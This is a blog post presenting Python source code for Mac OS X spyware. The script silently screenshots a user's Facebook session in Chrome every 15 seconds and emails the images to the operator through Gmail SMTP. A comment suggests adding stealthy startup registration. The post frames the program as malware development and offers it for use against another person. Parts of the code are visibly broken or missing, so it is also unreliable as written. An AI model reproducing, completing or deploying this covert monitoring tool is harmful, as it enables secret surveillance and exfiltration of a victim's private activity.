Skip to content

Mac OSX Spyware – Facebook Activity Monitor


This is a simple POC/Program that allows you to monitor a users Facebook session by taking screen captures of it every 15 seconds when the user is active on the site. I recommend using an e-mail specifically for logging a users session because the program will flood your inbox with e-mails. I’m looking at implementing the PIL to compress multiple images into a single GIF image and sending that once every hour, however using PIL requires an external library which is not ideal. Anyway now that I gave you the low down on the program lets take a look at the code!


This program logs a Mac Users Facebook activity and then emails you the screenshot logs once a day.

import os
import sys
import subprocess
import time
import glob
from time import gmtime, strftime
from AppKit import NSWorkspace
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders

#gmail login information, replace with your own
gmail_user = ""
gmail_pwd = "XXXXXXXXXXX"

#Insert function here to register the script to run at startup in stealth, simple using applescript.

#Main while loop, runs all functions of the program.
while 1:
	#checks for the open tab in Google Chrome using Applescript
	opentab = os.popen("osascript -e \'tell application \"Google Chrome\" to get URL of active tab of window 1\'").read()
	facebook = "facebook"
	decision = opentab.find(facebook)
	activeAppName = NSWorkspace.sharedWorkspace().activeApplication()['NSApplicationName']

	#determines if you have facebook and google chrome open and in focus
	if (decision != -1) and (activeAppName == "Google Chrome"):
		time1 = strftime("%Y-%m-%d")
		time2 = strftime("%H:%M:%S")

		timestamp = "Facebook_at_" + time1 + "_" + time2 + ".png"
		#Takes a screencapture with the timestamp of your Facebook Session
		os.system("screencapture -x " + timestamp)

		#Sends E-Mail using your G-Mail credentials, with the screenshot as an attachment.
		def mail(to, subject, text, attach):
		   msg = MIMEMultipart()

		   msg['From'] = gmail_user
		   msg['To'] = to
		   msg['Subject'] = subject


		   part = MIMEBase('application', 'octet-stream')
		   part.set_payload(open(attach, 'rb').read())
		           'attachment; filename="%s"' % os.path.basename(attach))

		   mailServer = smtplib.SMTP("", 587)
		   mailServer.login(gmail_user, gmail_pwd)
		   mailServer.sendmail(gmail_user, to, msg.as_string())
		   # Should be mailServer.quit(), but that crashes...

		   "Hello from python!",
		   "This is a email sent with python",
		   timestamp )


If you have any questions regarding Mac OSX Malware development using Python feel free to contact me at or send me a direct message on Twitter using @ianmarmour!!!

No comments yet

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: